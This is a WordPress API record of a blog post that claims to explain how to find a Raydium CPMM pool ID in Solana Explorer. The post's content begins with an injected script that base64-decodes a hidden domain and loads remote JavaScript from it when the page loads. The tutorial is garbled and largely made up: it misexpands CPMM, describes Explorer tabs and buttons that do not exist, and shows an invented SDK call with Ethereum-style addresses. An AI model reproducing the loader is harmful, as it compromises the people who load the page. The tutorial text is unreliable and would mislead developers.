{"id":106,"date":"2025-02-05T11:46:57","date_gmt":"2025-02-05T11:46:57","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=106"},"modified":"2025-02-05T11:46:57","modified_gmt":"2025-02-05T11:46:57","slug":"solana-how-to-find-cpmm-pool-address-on-solana-explorer-create-tx","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=106","title":{"rendered":"Solana: How to find CPMM pool address on Solana Explorer create tx"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"c.php?u=50353412\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here&#8217;s an article with detailed instructions on how to find the <code>poolId<\/code> in Solana Explorer:<\/p>\n<\/p>\n<p><strong>Finding the Pool ID: A Step-by-Step Guide<\/strong><\/p>\n<\/p>\n<p>As you&#8217;ve created a CPMM (Centralized Payment Mechanism for Marketplaces) liquidity pool using Raydium SDK v2, it&#8217;s essential to identify your pool ID from within Solana Explorer. This is crucial for various reasons, including automating tasks and troubleshooting issues. In this article, we&#8217;ll walk you through the process of finding your <code>poolId<\/code> in Solana Explorer.<\/p>\n<\/p>\n<p><strong>Prerequisites<\/strong><\/p>\n<\/p>\n<p>Before proceeding, ensure that:<\/p>\n<\/p>\n<ul>\n<li>You have Raydium SDK v2 installed on your Solana node.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>You&#8217;ve set up a liquidity pool using the @raydium-io\/raydium-sdk-v2 package.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>You&#8217;ve created a new transaction (tx) to interact with the liquidity pool.<\/li>\n<\/ul>\n<\/p>\n<p><strong>Step 1: Create a Transaction<\/strong><\/p>\n<\/p>\n<p>To find the <code>poolId<\/code>, you need to create a transaction that interacts with your liquidity pool. Here&#8217;s how:<\/p>\n<\/p>\n<ul>\n<li>Open Solana Explorer ([ and navigate to the &#8220;Create Transaction&#8221; tab.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Choose the type of transaction (e.g., &#8220;Create Pool&#8221;).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Fill in the required information:<\/li>\n<\/ul>\n<\/p>\n<p>\t* <br \/><strong>Pool Name<\/strong>: Enter your pool name.<\/p>\n<\/p>\n<p>\t* <br \/><strong>Pool ID<\/strong>: Note down the <code>poolId<\/code> you want to find.<\/p>\n<\/p>\n<p><strong>Step 2: Send a Transaction<\/strong><\/p>\n<\/p>\n<p>Now, you need to send this transaction to interact with your liquidity pool. Here&#8217;s how:<\/p>\n<\/p>\n<ul>\n<li>Open the transaction editor in Solana Explorer ([<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Click on the &#8220;Execute&#8221; button to create a new transaction.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Choose the transaction type (e.g., <code>Create Pool<\/code>).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Select your liquidity pool address from the list of available addresses.<\/li>\n<\/ul>\n<\/p>\n<p><strong>Step 3: Retrieve the Transaction ID<\/strong><\/p>\n<\/p>\n<p>After executing the transaction, you&#8217;ll receive an output. To retrieve the <code>poolId<\/code>, you need to:<\/p>\n<\/p>\n<ul>\n<li>Check the transaction output for the &#8220;id&#8221; property.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>The value should match the <code>poolId<\/code> you noted down in Step 1.<\/li>\n<\/ul>\n<\/p>\n<p><strong>Example Use Case<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Solana: How to find CPMM pool address on Solana Explorer create tx\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/15b72669.png\"><\/p>\n<\/p>\n<p>Let&#8217;s say your pool address is <code>0x...<\/code>. If you&#8217;ve entered a <code>poolName<\/code> of <code>My Centralized Payment Mechanism<\/code>, you can use the following transaction to retrieve the <code>poolId<\/code>:<\/p>\n<\/p>\n<p><pre><code><\/p><p>const raydium = require('@raydium-io\/raydium-sdk-v2');<\/p><p>\n<\/p><p>\n<\/p><p>async function getPoolId() {<\/p><p>\n<\/p><p>  const { pool, tx } = await raydium.createPool({<\/p><p>\n<\/p><p>    name: 'My Centralized Payment Mechanism',<\/p><p>\n<\/p><p>    poolId: '0x...', \/\/ Note down the <code>poolId<\/code><\/p><p>\n<\/p><p>  });<\/p><p>\n<\/p><p>\n<\/p><p>  return tx.id;<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p>\n<\/p><p>getPoolId().then((poolId) => console.log(poolId));<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<\/p>\n<p><strong>Tips and Variations<\/strong><\/p>\n<\/p>\n<ul>\n<li>You can also use the Solana Explorer&#8217;s &#8220;Transaction History&#8221; tab to view all transactions related to your liquidity pool. This might help you identify which transaction interacts with your pool.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>If you&#8217;re using a custom script or node, make sure to retrieve the <code>poolId<\/code> from the transaction output and pass it as an argument to your script.<\/li>\n<\/ul>\n<\/p>\n<p>By following these steps, you should be able to find your <code>poolId<\/code> in Solana Explorer. Happy querying!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here&#8217;s an article with detailed instructions on how to find the poolId in Solana Explorer: Finding the Pool ID: A Step-by-Step Guide As you&#8217;ve created a CPMM (Centralized Payment Mechanism for Marketplaces) liquidity pool using Raydium SDK v2, it&#8217;s essential to identify your pool ID from within Solana Explorer. This is crucial for various reasons, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/106"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=106"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/106\/revisions"}],"predecessor-version":[{"id":107,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/106\/revisions\/107"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=106"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=106"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=106"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}